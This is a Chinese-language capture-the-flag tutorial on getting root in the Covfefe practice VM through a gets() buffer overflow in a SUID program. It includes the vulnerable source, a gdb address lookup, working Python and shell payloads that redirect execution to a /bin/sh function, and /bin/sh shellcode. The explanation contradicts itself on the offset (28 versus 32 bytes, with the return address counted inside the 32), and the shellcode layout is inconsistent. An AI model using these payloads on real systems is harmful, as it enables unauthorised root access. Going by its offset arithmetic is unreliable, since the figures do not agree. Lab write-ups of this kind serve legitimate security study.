Covfefe靶场缓冲区溢出提权分析:gets函数漏洞与20字节buf数组利用

📅 2026/7/11 2:29:55 👁️ 阅读次数 📝 编程学习
Covfefe靶场缓冲区溢出提权分析:gets函数漏洞与20字节buf数组利用

Covfefe靶场缓冲区溢出提权分析:从20字节buf数组到root权限的完整利用链

在渗透测试的进阶阶段,理解漏洞背后的原理往往比单纯执行攻击脚本更为重要。本文将深入分析Covfefe靶场中一个经典的缓冲区溢出漏洞,通过逐行代码审计揭示gets函数的安全隐患,并构建精确的payload实现从普通用户到root权限的完整提权过程。

1. 漏洞环境与背景分析

Covfefe靶机是一台专门设计用于渗透测试练习的Linux系统,其中包含一个名为read_message.c的自编译程序。该程序本应实现简单的消息读取功能,却因开发者的安全疏忽成为了提权的突破口。

关键漏洞特征

  • 使用危险的gets()函数接收用户输入
  • 仅分配20字节的缓冲区(char buf[20]
  • 使用strncmp()进行前5字符的脆弱性检查
  • 程序设置了SUID位并以root权限运行

通过SSH登录后,在/home/simon目录下可以找到这个关键程序及其源代码。我们先查看程序的基本属性:

ls -l /home/simon/read_message -rwsr-xr-x 1 root root 16712 Jun 10 15:30 /home/simon/read_message

s权限位表明这是一个SUID程序,执行时将暂时获得文件所有者(root)的权限。

2. 源码审计与漏洞原理

让我们仔细分析read_message.c的源代码,理解漏洞产生的根本原因:

#include <stdio.h> #include <string.h> void secret_function() { system("/bin/sh"); } int main() { char buf[20]; printf("Enter your message: "); gets(buf); // 危险函数:不检查输入长度 if(strncmp(buf, "simon", 5) == 0) { printf("Hello Simon!\n"); } else { printf("Unauthorized user!\n"); } return 0; }

漏洞点分析

  1. 缓冲区设计缺陷

    • buf数组仅分配20字节空间
    • 未考虑字符串终止符\0的额外占用
    • 实际安全空间仅为19个字符
  2. 危险函数调用

    • gets()函数会持续读取输入直到换行符
    • 完全不检查输入长度与缓冲区容量的关系
    • 可写入超出buf数组边界的数据
  3. 内存布局特点

    • 栈空间从上向下增长
    • 函数返回地址存储在栈的高地址区域
    • 过长的输入会覆盖关键内存数据
  4. 隐藏后门函数

    • secret_function()可直接获得shell
    • 正常情况下无法通过合法途径调用

3. 内存结构与溢出利用

理解栈内存布局是成功利用缓冲区溢出的关键。当main函数被调用时,典型的栈结构如下:

内存地址内容说明
高地址调用者栈帧前一个函数的栈空间
返回地址main函数结束后跳转的位置
旧的基指针(EBP)调用者的栈帧指针
buf[19]缓冲区的最后一个字节
......
低地址buf[0]缓冲区的起始位置

当输入超过19个字符时,多出的数据将依次覆盖:

  1. EBP寄存器的保存值
  2. 函数返回地址
  3. 更高地址的内存区域

通过精确控制溢出数据,我们可以将返回地址替换为secret_function的内存地址,从而劫持程序流程。

4. 动态调试与地址确定

使用gdb进行动态分析是漏洞利用的关键步骤:

gdb -q ./read_message (gdb) disassemble secret_function Dump of assembler code for function secret_function: 0x080484cb <+0>: push %ebp 0x080484cc <+1>: mov %esp,%ebp 0x080484ce <+3>: sub $0x4,%esp 0x080484d1 <+6>: movl $0x80485e0,(%esp) 0x080484d8 <+13>: call 0x80483a0 <system@plt> 0x080484dd <+18>: leave 0x080484de <+19>: ret End of assembler dump.

这里我们确认secret_function的起始地址为0x080484cb。接下来需要确定覆盖返回地址所需的偏移量。

通过创建模式字符串并观察崩溃状态,可以精确定位:

python -c 'print "A"*32' | ./read_message

逐步增加"A"的数量,直到程序出现段错误。测试发现28个字符后开始覆盖关键内存:

Enter your message: AAAAAAAAAAAAAAAAAAAAAAAAAAAA Unauthorized user! Segmentation fault

通过gdb检查崩溃时的EIP值,最终确认偏移量为32字节(20字节buf + 4字节对齐 + 4字节EBP + 4字节返回地址)。

5. Payload构造与利用

结合以上分析,我们构建的payload需要满足:

  1. 前5字符为"simon"以通过strncmp检查
  2. 后续填充23个任意字符(5已用 + 23 = 28字节)
  3. 最后4字节为secret_function的地址(小端序)

完整的利用代码如下:

import struct buf = "simon" # 通过身份检查 buf += "A"*23 # 填充到返回地址前 buf += struct.pack("<I", 0x080484cb) # secret_function地址 print(buf)

执行攻击:

(python -c 'import struct; print "simon" + "A"*23 + struct.pack("<I", 0x080484cb)'; cat) | ./read_message

成功后将获得一个具有root权限的shell:

Enter your message: Hello Simon! # whoami root

6. 漏洞防御与安全编程

对比分析漏洞修复方案,理解安全编程的最佳实践:

危险实践

  • 使用gets等不安全的函数
  • 不验证输入长度
  • 依赖前端验证而非后端检查

修复方案

#include <stdio.h> #include <string.h> #include <stdlib.h> #define MAX_LEN 19 // 20 - 1 for null terminator void secret_function() { system("/bin/sh"); } int main() { char buf[20]; printf("Enter your message: "); if(fgets(buf, sizeof(buf), stdin) == NULL) { perror("Error reading input"); return 1; } // 移除可能的换行符 buf[strcspn(buf, "\n")] = '\0'; if(strncmp(buf, "simon", 5) == 0) { printf("Hello Simon!\n"); } else { printf("Unauthorized user!\n"); } return 0; }

安全改进

  1. 使用fgets替代gets,明确指定最大读取长度
  2. 检查输入函数的返回值
  3. 正确处理字符串终止符
  4. 编译时添加安全选项(如-fstack-protector

7. 扩展思考与进阶技巧

在真实环境中,缓冲区溢出利用可能面临更多挑战:

  1. ASLR绕过

    • 信息泄露获取内存地址
    • 暴力破解部分地址位
    • 使用不随机化的内存区域
  2. DEP/NX防护

    • ROP(Return-Oriented Programming)链构造
    • 重用已有代码片段(gadgets)
  3. 现代编译防护

    • 栈保护符(Stack Canary)
    • 安全异常处理表

进阶利用示例(当secret_function不存在时):

import struct # shellcode执行/bin/sh shellcode = ( "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ) buf = "simon" # 通过检查 buf += "A"*(32-len(shellcode)) # 填充 buf += struct.pack("<I", 0xbffff7b0) # 预估的shellcode地址 buf += shellcode print(buf)

这种技术需要精确预测shellcode的内存地址,在ASLR启用环境中更具挑战性。